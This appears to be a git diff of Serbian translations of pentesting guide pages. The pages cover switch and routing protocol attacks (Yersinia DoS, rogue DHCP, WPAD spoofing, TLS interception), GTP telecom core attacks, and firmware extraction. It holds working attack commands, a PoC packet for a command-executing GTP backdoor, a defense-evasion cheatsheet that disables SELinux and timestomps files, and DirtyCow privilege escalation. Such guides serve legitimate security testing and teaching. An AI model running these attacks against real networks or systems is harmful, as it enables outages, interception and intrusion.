U grafičkom režimu Yersinije, izaberite opciju za brisanje svih VTP VLAN-ova da biste očistili VLAN bazu podataka.
|
||||
U grafičkom režimu Yersinia, izaberite opciju za brisanje svih VTP VLAN-ova da biste očistili VLAN bazu podataka.
|
||||
|
||||
### STP napadi
|
||||
### STP Napadi
|
||||
|
||||
**Ako ne možete da uhvatite BPDU okvire na svojim interfejsima, malo je verovatno da ćete uspeti u STP napadu.**
|
||||
|
||||
#### **STP BPDU DoS**
|
||||
|
||||
Slanjem velikog broja BPDUs TCP (Obaveštenje o promeni topologije) ili Conf (BPDUs koji se šalju kada se topologija kreira) prekidači su preopterećeni i prestaju da rade ispravno.
|
||||
Slanjem velikog broja BPDUs TCP (Obaveštenje o promeni topologije) ili Conf (BPDUs koje se šalju kada se topologija kreira) prekidači su preopterećeni i prestaju da rade ispravno.
|
||||
```bash
|
||||
yersinia stp -attack 2
|
||||
yersinia stp -attack 3
|
||||
@ -397,15 +397,15 @@ yersinia stp -attack 3
|
||||
```
|
||||
#### **STP TCP Attack**
|
||||
|
||||
Kada se pošalje TCP, CAM tabela prekidača će biti obrisana za 15s. Zatim, ako kontinuirano šaljete ovu vrstu paketa, CAM tabela će se neprekidno restartovati (ili svakih 15 sekundi) i kada se restartuje, prekidač se ponaša kao hub.
|
||||
Kada se pošalje TCP, CAM tabela prekidača će biti obrisana za 15s. Tada, ako kontinuirano šaljete ovu vrstu paketa, CAM tabela će se neprekidno restartovati (ili svakih 15 sekundi) i kada se restartuje, prekidač se ponaša kao hub.
|
||||
```bash
|
||||
yersinia stp -attack 1 #Will send 1 TCP packet and the switch should restore the CAM in 15 seconds
|
||||
yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
```
|
||||
#### **STP Root Attack**
|
||||
|
||||
Napadač simulira ponašanje preklopnika kako bi postao STP root mreže. Tada će više podataka prolaziti kroz njega. Ovo je zanimljivo kada ste povezani na dva različita preklopnika.\
|
||||
To se postiže slanjem BPDUs CONF paketa koji govore da je **prioritet** vrednost manja od stvarnog prioriteta stvarnog root preklopnika.
|
||||
Napadač simulira ponašanje prekidača kako bi postao STP root mreže. Tada će više podataka prolaziti kroz njega. Ovo je zanimljivo kada ste povezani na dva različita prekidača.\
|
||||
To se postiže slanjem BPDUs CONF paketa koji govore da je **prioritet** vrednost manja od stvarnog prioriteta stvarnog root prekidača.
|
||||
```bash
|
||||
yersinia stp -attack 4 #Behaves like the root switch
|
||||
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
|
||||
@ -425,7 +425,7 @@ CDP je konfiguran da emituje informacije kroz sve portove, što može dovesti do
|
||||
|
||||
#### Indukcija CDP tabele poplave <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
|
||||
Agresivniji pristup uključuje pokretanje napada uskraćivanja usluge (DoS) preplavljivanjem memorije prekidača, pretvarajući se da su legitimni CISCO uređaji. Ispod je redosled komandi za pokretanje takvog napada koristeći Yersinia, alat za testiranje mreže:
|
||||
Agresivniji pristup uključuje pokretanje napada uskraćivanja usluge (DoS) preplavljivanjem memorije prekidača, pretvarajući se da su legitimni CISCO uređaji. Ispod je redosled komandi za iniciranje takvog napada koristeći Yersinia, alat za testiranje mreže:
|
||||
```bash
|
||||
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
|
||||
# Alternatively, for a GUI approach:
|
||||
@ -442,7 +442,7 @@ Možete takođe koristiti [**scapy**](https://github.com/secdev/scapy/). Obavezn
|
||||
|
||||
### VoIP napadi i VoIP Hopper alat
|
||||
|
||||
VoIP telefoni, sve više integrisani sa IoT uređajima, nude funkcionalnosti kao što su otključavanje vrata ili kontrola termostata putem posebnih brojeva telefona. Međutim, ova integracija može predstavljati sigurnosne rizike.
|
||||
VoIP telefoni, sve više integrisani sa IoT uređajima, nude funkcionalnosti poput otključavanja vrata ili kontrolisanja termostata putem posebnih brojeva telefona. Međutim, ova integracija može predstavljati sigurnosne rizike.
|
||||
|
||||
Alat [**voiphopper**](http://voiphopper.sourceforge.net) je dizajniran da emulira VoIP telefon u raznim okruženjima (Cisco, Avaya, Nortel, Alcatel-Lucent). Otkrije VLAN ID glasovne mreže koristeći protokole kao što su CDP, DHCP, LLDP-MED i 802.1Q ARP.
|
||||
|
||||
@ -497,9 +497,9 @@ Drugi način za izvođenje DHCP DoS je slanje **DHCP-RELEASE paketa koristeći k
|
||||
yersinia dhcp -attack 1
|
||||
yersinia dhcp -attack 3 #More parameters are needed
|
||||
```
|
||||
Automatizovaniji način za to je korišćenje alata [DHCPing](https://github.com/kamorin/DHCPig)
|
||||
Automatskiji način za to je korišćenje alata [DHCPing](https://github.com/kamorin/DHCPig)
|
||||
|
||||
Možete koristiti pomenute DoS napade da primorate klijente da dobiju nove zakupnine unutar okruženja i iscrpite legitimne servere tako da postanu neodgovarajući. Tako kada se legitimni pokušaju ponovo povezati, **možete poslužiti zlonamerne vrednosti pomenute u sledećem napadu**.
|
||||
Možete koristiti pomenute DoS napade da primorate klijente da dobiju nove zakupnine unutar okruženja i iscrpite legitimne servere tako da postanu neodgovorni. Tako kada se legitimni pokušaju ponovo povezati, **možete poslužiti zlonamerne vrednosti pomenute u sledećem napadu**.
|
||||
|
||||
#### Postavljanje zlonamernih vrednosti
|
||||
|
||||
@ -507,13 +507,13 @@ Rogue DHCP server može biti postavljen koristeći DHCP skriptu koja se nalazi n
|
||||
|
||||
Ispod su opcije komandi za konfiguraciju rogue DHCP servera:
|
||||
|
||||
- **Naša IP adresa (Gateway Advertisement)**: Koristite `-i 10.0.0.100` da reklamirate IP adresu vaše mašine kao gateway.
|
||||
- **Naša IP adresa (Gateway Advertisement)**: Koristite `-i 10.0.0.100` da reklamirate IP vaše mašine kao gateway.
|
||||
- **Lokalno DNS ime domena**: Opcionalno, koristite `-d example.org` da postavite lokalno DNS ime domena.
|
||||
- **Originalni Router/Gateway IP**: Koristite `-r 10.0.0.1` da navedete IP adresu legitimnog rutera ili gateway-a.
|
||||
- **Primarna DNS Server IP**: Koristite `-p 10.0.0.100` da postavite IP adresu rogue DNS servera koji kontrolišete.
|
||||
- **Sekundarna DNS Server IP**: Opcionalno, koristite `-s 10.0.0.1` da postavite IP adresu sekundarnog DNS servera.
|
||||
- **Primarna DNS server IP**: Koristite `-p 10.0.0.100` da postavite IP adresu rogue DNS servera koji kontrolišete.
|
||||
- **Sekundarna DNS server IP**: Opcionalno, koristite `-s 10.0.0.1` da postavite sekundarnu DNS server IP.
|
||||
- **Mrežna maska lokalne mreže**: Koristite `-n 255.255.255.0` da definišete mrežnu masku za lokalnu mrežu.
|
||||
- **Interfejs za DHCP saobraćaj**: Koristite `-I eth1` da slušate DHCP saobraćaj na određenom mrežnom interfejsu.
|
||||
- **Interfejs za DHCP saobraćaj**: Koristite `-I eth1` da slušate DHCP saobraćaj na specifičnom mrežnom interfejsu.
|
||||
- **WPAD konfiguraciona adresa**: Koristite `-w “http://10.0.0.100/wpad.dat”` da postavite adresu za WPAD konfiguraciju, pomažući u presretanju web saobraćaja.
|
||||
- **Spoof Default Gateway IP**: Uključite `-S` da lažirate IP adresu podrazumevanog gateway-a.
|
||||
- **Odgovoriti na sve DHCP zahteve**: Uključite `-R` da server odgovara na sve DHCP zahteve, ali budite svesni da je ovo bučno i može biti otkriveno.
|
||||
@ -537,9 +537,9 @@ Ako je napadač između žrtve i servera za autentifikaciju, mogao bi pokušati
|
||||
```
|
||||
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
|
||||
```
|
||||
### FHRP (GLBP & HSRP) napadi <a href="#id-6196" id="id-6196"></a>
|
||||
### FHRP (GLBP & HSRP) Attacks <a href="#id-6196" id="id-6196"></a>
|
||||
|
||||
**FHRP** (Protokol za redundanciju prvog skoka) je klasa mrežnih protokola dizajniranih da **stvore vrući redundantni sistem usmeravanja**. Sa FHRP-om, fizički ruteri mogu biti kombinovani u jedan logički uređaj, što povećava otpornost na greške i pomaže u raspodeli opterećenja.
|
||||
**FHRP** (First Hop Redundancy Protocol) je klasa mrežnih protokola dizajniranih da **kreiraju vrući redundantni sistem rutiranja**. Sa FHRP-om, fizički ruteri mogu biti kombinovani u jedan logički uređaj, što povećava otpornost na greške i pomaže u raspodeli opterećenja.
|
||||
|
||||
**Inženjeri Cisco Systems-a su razvili dva FHRP protokola, GLBP i HSRP.**
|
||||
|
||||
@ -549,39 +549,39 @@ glbp-and-hsrp-attacks.md
|
||||
|
||||
### RIP
|
||||
|
||||
Poznate su tri verzije Protokola za informisanje o rutiranju (RIP): RIP, RIPv2 i RIPng. Datagrami se šalju partnerima putem porta 520 koristeći UDP kod RIP-a i RIPv2, dok se datagrami emitiraju na UDP port 521 putem IPv6 multicast-a kod RIPng. Podrška za MD5 autentifikaciju uvedena je u RIPv2. S druge strane, nativna autentifikacija nije uključena u RIPng; umesto toga, oslanja se na opcione IPsec AH i ESP zaglavlja unutar IPv6.
|
||||
Poznate su tri verzije Protokola za informisanje o rutiranju (RIP): RIP, RIPv2 i RIPng. Datagrami se šalju partnerima putem porta 520 koristeći UDP kod RIP-a i RIPv2, dok se datagrami emitiraju na UDP port 521 putem IPv6 multicast-a kod RIPng. Podrška za MD5 autentifikaciju uvedena je RIPv2. S druge strane, nativna autentifikacija nije uključena u RIPng; umesto toga, oslanja se na opcione IPsec AH i ESP zaglavlja unutar IPv6.
|
||||
|
||||
- **RIP i RIPv2:** Komunikacija se vrši putem UDP datagrama na portu 520.
|
||||
- **RIPng:** Koristi UDP port 521 za emitovanje datagrama putem IPv6 multicast-a.
|
||||
|
||||
Napomena: RIPv2 podržava MD5 autentifikaciju dok RIPng ne uključuje nativnu autentifikaciju, oslanjajući se na IPsec AH i ESP zaglavlja u IPv6.
|
||||
|
||||
### EIGRP napadi
|
||||
### EIGRP Attacks
|
||||
|
||||
**EIGRP (Protokol za unapređeno unutrašnje usmeravanje)** je dinamički protokol usmeravanja. **To je protokol zasnovan na udaljenosti.** Ako nema **autentifikacije** i konfiguracije pasivnih interfejsa, **napadač** može ometati EIGRP usmeravanje i izazvati **trovanje tabela usmeravanja**. Štaviše, EIGRP mreža (drugim rečima, autonomni sistem) **je ravna i nema segmentaciju u bilo koje zone**. Ako **napadač ubrizga rutu**, verovatno će se ova ruta **proširiti** kroz autonomni EIGRP sistem.
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** je dinamički protokol rutiranja. **To je protokol zasnovan na udaljenosti.** Ako nema **autentifikacije** i konfiguracije pasivnih interfejsa, **napadač** može ometati EIGRP rutiranje i izazvati **trovanje ruting tabela**. Štaviše, EIGRP mreža (drugim rečima, autonomni sistem) **je ravna i nema segmentaciju u bilo koje zone**. Ako **napadač injektuje rutu**, verovatno će se ta ruta **proširiti** kroz autonomni EIGRP sistem.
|
||||
|
||||
Napad na EIGRP sistem zahteva **uspostavljanje komšiluka sa legitimnim EIGRP ruterom**, što otvara mnoge mogućnosti, od osnovne rekognosciranja do raznih ubrizgavanja.
|
||||
Da bi se napao EIGRP sistem, potrebno je **uspostaviti komšiluk sa legitimnim EIGRP ruterom**, što otvara mnoge mogućnosti, od osnovne rekognosciranja do raznih injekcija.
|
||||
|
||||
[**FRRouting**](https://frrouting.org/) vam omogućava da implementirate **virtuelni ruter koji podržava BGP, OSPF, EIGRP, RIP i druge protokole.** Sve što treba da uradite je da ga postavite na sistem napadača i možete se zapravo pretvarati da ste legitimni ruter u domenu usmeravanja.
|
||||
[**FRRouting**](https://frrouting.org/) vam omogućava da implementirate **virtuelni ruter koji podržava BGP, OSPF, EIGRP, RIP i druge protokole.** Sve što treba da uradite je da ga postavite na sistem napadača i zapravo možete da se pretvarate da ste legitimni ruter u ruting domenu.
|
||||
|
||||
{{#ref}}
|
||||
eigrp-attacks.md
|
||||
{{#endref}}
|
||||
|
||||
[**Coly**](https://code.google.com/p/coly/) ima mogućnosti za presretanje EIGRP (Protokol za unapređeno unutrašnje usmeravanje) emitovanja. Takođe omogućava ubrizgavanje paketa, što se može koristiti za promenu konfiguracija usmeravanja.
|
||||
[**Coly**](https://code.google.com/p/coly/) ima mogućnosti za presretanje EIGRP (Enhanced Interior Gateway Routing Protocol) emitovanja. Takođe omogućava injekciju paketa, što se može koristiti za promenu konfiguracija rutiranja.
|
||||
|
||||
### OSPF
|
||||
|
||||
U protokolu Open Shortest Path First (OSPF) **MD5 autentifikacija se obično koristi za obezbeđivanje sigurne komunikacije između rutera**. Međutim, ova sigurnosna mera može biti kompromitovana korišćenjem alata kao što su Loki i John the Ripper. Ovi alati su sposobni da hvataju i razbijaju MD5 hešove, otkrivajući autentifikacioni ključ. Kada se ovaj ključ dobije, može se koristiti za uvođenje novih informacija o rutiranju. Za konfiguraciju parametara rute i uspostavljanje kompromitovanog ključa koriste se _Injection_ i _Connection_ kartice, redom.
|
||||
U Open Shortest Path First (OSPF) protokolu **MD5 autentifikacija se obično koristi za obezbeđivanje sigurne komunikacije između rutera**. Međutim, ova sigurnosna mera može biti kompromitovana korišćenjem alata kao što su Loki i John the Ripper. Ovi alati su sposobni da hvataju i razbijaju MD5 hešove, otkrivajući autentifikacioni ključ. Kada se ovaj ključ dobije, može se koristiti za uvođenje novih informacija o rutiranju. Za konfiguraciju parametara rute i uspostavljanje kompromitovanog ključa koriste se _Injection_ i _Connection_ kartice, redom.
|
||||
|
||||
- **Hvatanje i razbijanje MD5 hešova:** Alati kao što su Loki i John the Ripper se koriste u tu svrhu.
|
||||
- **Konfiguracija parametara rute:** Ovo se vrši putem _Injection_ kartice.
|
||||
- **Postavljanje kompromitovanog ključa:** Ključ se konfiguriše pod _Connection_ karticom.
|
||||
|
||||
### Ostali generički alati i izvori
|
||||
### Other Generic Tools & Sources
|
||||
|
||||
- [**Above**](https://github.com/c4s73r/Above): Alat za skeniranje mrežnog saobraćaja i pronalaženje ranjivosti
|
||||
- Možete pronaći još **informacija o mrežnim napadima** [**ovde**](https://github.com/Sab0tag3d/MITM-cheatsheet).
|
||||
- Možete pronaći **više informacija o mrežnim napadima** [**ovde**](https://github.com/Sab0tag3d/MITM-cheatsheet).
|
||||
|
||||
## **Spoofing**
|
||||
|
||||
@ -592,7 +592,7 @@ yersinia dhcp -attack 2 #More parameters are needed
|
||||
```
|
||||
### ARP Spoofing
|
||||
|
||||
Proverite [prethodni odeljak](#arp-spoofing).
|
||||
Proverite [prethodnu sekciju](#arp-spoofing).
|
||||
|
||||
### ICMPRedirect
|
||||
|
||||
@ -615,7 +615,7 @@ dig @localhost domain.example.com # Test the configured DNS
|
||||
```
|
||||
### Lokalni prolazi
|
||||
|
||||
Više ruta ka sistemima i mrežama često postoji. Nakon izrade liste MAC adresa unutar lokalne mreže, koristite _gateway-finder.py_ da identifikujete hostove koji podržavaju IPv4 prosleđivanje.
|
||||
Više ruta do sistema i mreža često postoji. Nakon izrade liste MAC adresa unutar lokalne mreže, koristite _gateway-finder.py_ da identifikujete hostove koji podržavaju IPv4 prosleđivanje.
|
||||
```
|
||||
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
|
||||
root@kali:~# cd gateway-finder/
|
||||
@ -638,7 +638,7 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
||||
Za lokalno rešavanje hostova kada DNS pretrage nisu uspešne, Microsoft sistemi se oslanjaju na **Link-Local Multicast Name Resolution (LLMNR)** i **NetBIOS Name Service (NBT-NS)**. Slično tome, **Apple Bonjour** i **Linux zero-configuration** implementacije koriste **Multicast DNS (mDNS)** za otkrivanje sistema unutar mreže. Zbog neautentifikovane prirode ovih protokola i njihove operacije preko UDP, emitovanjem poruka, mogu ih iskoristiti napadači koji imaju za cilj da preusmere korisnike na zlonamerne usluge.
|
||||
|
||||
Možete se pretvarati da ste usluge koje traže hostovi koristeći Responder za slanje lažnih odgovora.\
|
||||
Pročitajte ovde više informacija o [kako se pretvarati u usluge sa Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
Pročitajte ovde više informacija o [kako se pretvarati u usluge sa Responderom](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
@ -648,7 +648,7 @@ Pregledači obično koriste **Web Proxy Auto-Discovery (WPAD) protokol za automa
|
||||
- Preko **DNS**, što uključuje pretragu za imenom hosta označenim kao _wpad_ unutar lokalne domene.
|
||||
- Putem **Microsoft LLMNR i NBT-NS**, koji su mehanizmi povratne podrške korišćeni u slučajevima kada DNS pretrage ne uspevaju.
|
||||
|
||||
Alat Responder koristi ovaj protokol tako što deluje kao **zlonameran WPAD server**. Koristi DHCP, DNS, LLMNR i NBT-NS da zavara klijente da se povežu sa njim. Da biste dublje istražili kako se usluge mogu pretvarati koristeći Responder [proverite ovo](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
Alat Responder koristi ovaj protokol delujući kao **zlonameran WPAD server**. Koristi DHCP, DNS, LLMNR i NBT-NS da zavara klijente da se povežu sa njim. Da biste dublje istražili kako se usluge mogu pretvarati koristeći Responder [proverite ovo](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
@ -736,7 +736,7 @@ sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FI
|
||||
Ponekad, ako klijent proveri da li je CA validan, mogli biste **poslužiti sertifikat druge hostname potpisan od strane CA**.\
|
||||
Još jedan zanimljiv test je da poslužite **sertifikat tražene hostname, ali samopotpisan**.
|
||||
|
||||
Druge stvari koje treba testirati su pokušaj potpisivanja sertifikata sa validnim sertifikatom koji nije validan CA. Ili koristiti validni javni ključ, primorati korišćenje algoritma kao što je diffie hellman (onog koji ne zahteva dešifrovanje bilo čega sa pravim privatnim ključem) i kada klijent zatraži probe pravog privatnog ključa (kao što je hash) poslati lažnu probu i očekivati da klijent to ne proveri.
|
||||
Druge stvari koje treba testirati su pokušaj potpisivanja sertifikata sa validnim sertifikatom koji nije validan CA. Ili koristiti validni javni ključ, naterati da se koristi algoritam kao što je diffie hellman (onaj koji ne zahteva dešifrovanje bilo čega sa pravim privatnim ključem) i kada klijent zatraži probe pravog privatnog ključa (kao što je hash) poslati lažnu probu i očekivati da klijent to ne proveri.
|
||||
|
||||
## Bettercap
|
||||
```bash
|
||||
|
@ -21,7 +21,7 @@ masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:
|
||||
```
|
||||
## 2. Enumeracija Pretplatnika – `cordscan`
|
||||
|
||||
Sledeći Go alat kreira **GTP-C Create PDP Context Request** pakete i beleži odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji služi upitanoj IMSI i, ponekad, posetjeni PLMN pretplatnika.
|
||||
Sledeći Go alat kreira **GTP-C Create PDP Context Request** pakete i beleži odgovore. Svaki odgovor otkriva trenutni **SGSN / MME** koji služi upitanoj IMSI i, ponekad, poseteni PLMN pretplatnika.
|
||||
```bash
|
||||
# Build
|
||||
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
@ -29,12 +29,12 @@ GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
|
||||
# Usage (typical):
|
||||
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
|
||||
```
|
||||
Ključne zastavice:
|
||||
Ključne oznake:
|
||||
- `--imsi` IMSI ciljanog pretplatnika
|
||||
- `--oper` Domaći / HNI (MCC+MNC)
|
||||
- `-w` Zapiši sirove pakete u pcap
|
||||
|
||||
Važne konstante unutar binarnog fajla mogu se ispraviti kako bi se proširili skenovi:
|
||||
Važne konstante unutar binarnog koda mogu se ispraviti kako bi se proširili skenovi:
|
||||
```
|
||||
pingtimeout = 3 // seconds before giving up
|
||||
pco = 0x218080
|
||||
@ -42,7 +42,7 @@ common_tcp_ports = "22,23,80,443,8080"
|
||||
```
|
||||
## 3. Izvršavanje koda preko GTP – `GTPDoor`
|
||||
|
||||
`GTPDoor` je mali ELF servis koji **vezuje UDP 2123 i analizira svaki dolazni GTP-C paket**. Kada payload počinje sa pre-shared tagom, ostatak se dekriptuje (AES-128-CBC) i izvršava putem `/bin/sh -c`. stdout/stderr se exfiltriraju unutar **Echo Response** poruka tako da nijedna spoljašnja sesija nikada nije kreirana.
|
||||
`GTPDoor` je mali ELF servis koji **vezuje UDP 2123 i analizira svaki dolazni GTP-C paket**. Kada payload počinje sa unapred deljenim tagom, ostatak se dešifruje (AES-128-CBC) i izvršava putem `/bin/sh -c`. stdout/stderr se exfiltriraju unutar **Echo Response** poruka tako da nijedna spoljašnja sesija nikada nije kreirana.
|
||||
|
||||
Minimalni PoC paket (Python):
|
||||
```python
|
||||
@ -52,14 +52,14 @@ cmd = b"id;uname -a"
|
||||
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
|
||||
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
|
||||
```
|
||||
Detection:
|
||||
Detekcija:
|
||||
* bilo koji host koji šalje **neizbalansirane Echo zahteve** ka SGSN IP-ovima
|
||||
* GTP verzija oznaka postavljena na 1 dok je tip poruke = 1 (Echo) – odstupanje od specifikacije
|
||||
|
||||
## 4. Pivoting Through the Core
|
||||
## 4. Preusmeravanje kroz jezgro
|
||||
|
||||
### 4.1 `sgsnemu` + SOCKS5
|
||||
`OsmoGGSN` isporučuje SGSN emulator sposoban da **uspostavi PDP kontekst prema pravom GGSN/PGW**. Kada se pregovara, Linux prima novu `tun0` interfejs koji je dostupan od roaming partnera.
|
||||
`OsmoGGSN` isporučuje emulator SGSN-a sposoban da **uspostavi PDP kontekst prema pravom GGSN/PGW**. Kada se pregovara, Linux prima novi `tun0` interfejs dostupan od roaming peer-a.
|
||||
```bash
|
||||
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
|
||||
-APN internet -c 1 -d
|
||||
@ -83,7 +83,7 @@ Proverite da li je `GatewayPorts yes` omogućeno na VPS-u.
|
||||
| DNS – `NoDepDNS` | UDP 53 | XOR (ključ = `funnyAndHappy`) kodiran u A-zapisu okteta | prati `*.nodep` poddomen |
|
||||
| GTP – `GTPDoor` | UDP 2123 | AES-128-CBC blob u privatnom IE | meša se sa legitimnim GTP-C razgovorima |
|
||||
|
||||
Svi implanti implementiraju watchdog-ove koji **timestomp** njihove binarne datoteke i ponovo se pokreću ako se sruše.
|
||||
Svi implanti implementiraju nadzornike koji **timestomp** njihove binarne datoteke i ponovo se pokreću ako se sruše.
|
||||
|
||||
## 6. Cheatsheet za Izbegavanje Odbrane
|
||||
```bash
|
||||
@ -100,7 +100,7 @@ printf '\0' > /proc/$$/comm # appears as [kworker/1]
|
||||
touch -r /usr/bin/time /usr/bin/chargen # timestomp
|
||||
setenforce 0 # disable SELinux
|
||||
```
|
||||
## 7. Eskalacija privilegija na nasleđenim NE
|
||||
## 7. Eskalacija privilegija na nasleđenom NE
|
||||
```bash
|
||||
# DirtyCow – CVE-2016-5195
|
||||
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
|
||||
|
@ -25,17 +25,17 @@ U tu svrhu, **alatke za otvorene izvore (OSINT)** su neprocenjive, kao i analiza
|
||||
|
||||
Dobijanje firmware-a može se pristupiti na različite načine, svaki sa svojim nivoom složenosti:
|
||||
|
||||
- **Direktno** od izvora (razvijači, proizvođači)
|
||||
- **Kreiranje** na osnovu datih uputstava
|
||||
- **Preuzimanje** sa zvaničnih sajtova podrške
|
||||
- Korišćenje **Google dork** upita za pronalaženje hostovanih firmware datoteka
|
||||
- Direktan pristup **cloud storage**-u, uz alate poput [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
- Presretanje **ažuriranja** putem tehnika man-in-the-middle
|
||||
- **Ekstrakcija** sa uređaja putem konekcija kao što su **UART**, **JTAG** ili **PICit**
|
||||
- **Sniffing** za zahteve za ažuriranje unutar komunikacije uređaja
|
||||
- Identifikovanje i korišćenje **hardkodiranih krajnjih tačaka za ažuriranje**
|
||||
- **Dumping** sa bootloader-a ili mreže
|
||||
- **Uklanjanje i čitanje** čipa za skladištenje, kada sve drugo ne uspe, koristeći odgovarajuće hardverske alate
|
||||
- **Direktno** od izvora (razvijača, proizvođača)
|
||||
- **Kreiranjem** prema datim uputstvima
|
||||
- **Preuzimanjem** sa zvaničnih sajtova podrške
|
||||
- Korišćenjem **Google dork** upita za pronalaženje hostovanih firmware datoteka
|
||||
- Direktnim pristupom **cloud storage**-u, uz alate poput [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
- Presretanjem **ažuriranja** putem tehnika man-in-the-middle
|
||||
- **Ekstrakcijom** sa uređaja putem konekcija kao što su **UART**, **JTAG** ili **PICit**
|
||||
- **Sniffing**-om za zahteve za ažuriranje unutar komunikacije uređaja
|
||||
- Identifikovanjem i korišćenjem **hardkodiranih krajnjih tačaka za ažuriranje**
|
||||
- **Dumping**-om sa bootloader-a ili mreže
|
||||
- **Uklanjanjem i čitanjem** čipa za skladištenje, kada sve drugo ne uspe, koristeći odgovarajuće hardverske alate
|
||||
|
||||
## Analiza firmware-a
|
||||
|
||||
@ -113,7 +113,7 @@ Fajlovi će biti u "`squashfs-root`" direktorijumu nakon toga.
|
||||
|
||||
## Analiza Firmvera
|
||||
|
||||
Kada se firmver dobije, važno je da se razloži kako bi se razumeo njegova struktura i potencijalne ranjivosti. Ovaj proces uključuje korišćenje različitih alata za analizu i ekstrakciju vrednih podataka iz slike firmvera.
|
||||
Kada se firmver dobije, važno je da se razloži kako bi se razumeo njegova struktura i potencijalne ranjivosti. Ovaj proces uključuje korišćenje raznih alata za analizu i ekstrakciju vrednih podataka iz slike firmvera.
|
||||
|
||||
### Alati za Početnu Analizu
|
||||
|
||||
@ -132,17 +132,17 @@ Za ekstrakciju **ugrađenih fajlova**, preporučuju se alati i resursi kao što
|
||||
|
||||
### Ekstrakcija Fajl Sistema
|
||||
|
||||
Koristeći `binwalk -ev <bin>`, obično se može ekstraktovati fajl sistem, često u direktorijum nazvan po tipu fajl sistema (npr. squashfs, ubifs). Međutim, kada **binwalk** ne prepozna tip fajl sistema zbog nedostajućih magic bajtova, ručna ekstrakcija je neophodna. To uključuje korišćenje `binwalk` za lociranje ofseta fajl sistema, a zatim `dd` komandu za izdvajanje fajl sistema:
|
||||
Korišćenjem `binwalk -ev <bin>`, obično se može ekstraktovati fajl sistem, često u direktorijum nazvan po tipu fajl sistema (npr. squashfs, ubifs). Međutim, kada **binwalk** ne prepozna tip fajl sistema zbog nedostajućih magic bytes, ručna ekstrakcija je neophodna. To uključuje korišćenje `binwalk` za lociranje offset-a fajl sistema, a zatim `dd` komandu za izdvajanje fajl sistema:
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
Nakon toga, u zavisnosti od tipa datotečnog sistema (npr., squashfs, cpio, jffs2, ubifs), koriste se različite komande za ručno vađenje sadržaja.
|
||||
Nakon toga, u zavisnosti od tipa datotečnog sistema (npr., squashfs, cpio, jffs2, ubifs), koriste se različite komande za ručno ekstraktovanje sadržaja.
|
||||
|
||||
### Analiza datotečnog sistema
|
||||
### Analiza Datotečnog Sistema
|
||||
|
||||
Sa izvučenim datotečnim sistemom, počinje potraga za sigurnosnim propustima. Pažnja se posvećuje nesigurnim mrežnim demonima, hardkodiranim akreditivima, API krajnjim tačkama, funkcionalnostima servera za ažuriranje, nekompajliranom kodu, skriptama za pokretanje i kompajliranim binarnim datotekama za analizu van mreže.
|
||||
Sa ekstraktovanim datotečnim sistemom, počinje potraga za sigurnosnim propustima. Pažnja se posvećuje nesigurnim mrežnim demonima, hardkodiranim akreditivima, API krajnjim tačkama, funkcionalnostima servera za ažuriranje, nekompajliranom kodu, skriptama za pokretanje i kompajliranim binarnim datotekama za analizu van mreže.
|
||||
|
||||
**Ključne lokacije** i **stavke** koje treba pregledati uključuju:
|
||||
|
||||
@ -152,25 +152,25 @@ Sa izvučenim datotečnim sistemom, počinje potraga za sigurnosnim propustima.
|
||||
- Ugrađene binarne datoteke za dalju analizu
|
||||
- Uobičajene web servere i binarne datoteke IoT uređaja
|
||||
|
||||
Nekoliko alata pomaže u otkrivanju osetljivih informacija i ranjivosti unutar datotečnog sistema:
|
||||
NSeveral tools assist in uncovering sensitive information and vulnerabilities within the filesystem:
|
||||
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) i [**Firmwalker**](https://github.com/craigz28/firmwalker) za pretragu osetljivih informacija
|
||||
- [**Alat za analizu i poređenje firmvera (FACT)**](https://github.com/fkie-cad/FACT_core) za sveobuhvatnu analizu firmvera
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) za sveobuhvatnu analizu firmvera
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), i [**EMBA**](https://github.com/e-m-b-a/emba) za statičku i dinamičku analizu
|
||||
|
||||
### Provere sigurnosti na kompajliranim binarnim datotekama
|
||||
### Provere Bezbednosti na Kompajliranim Binarima
|
||||
|
||||
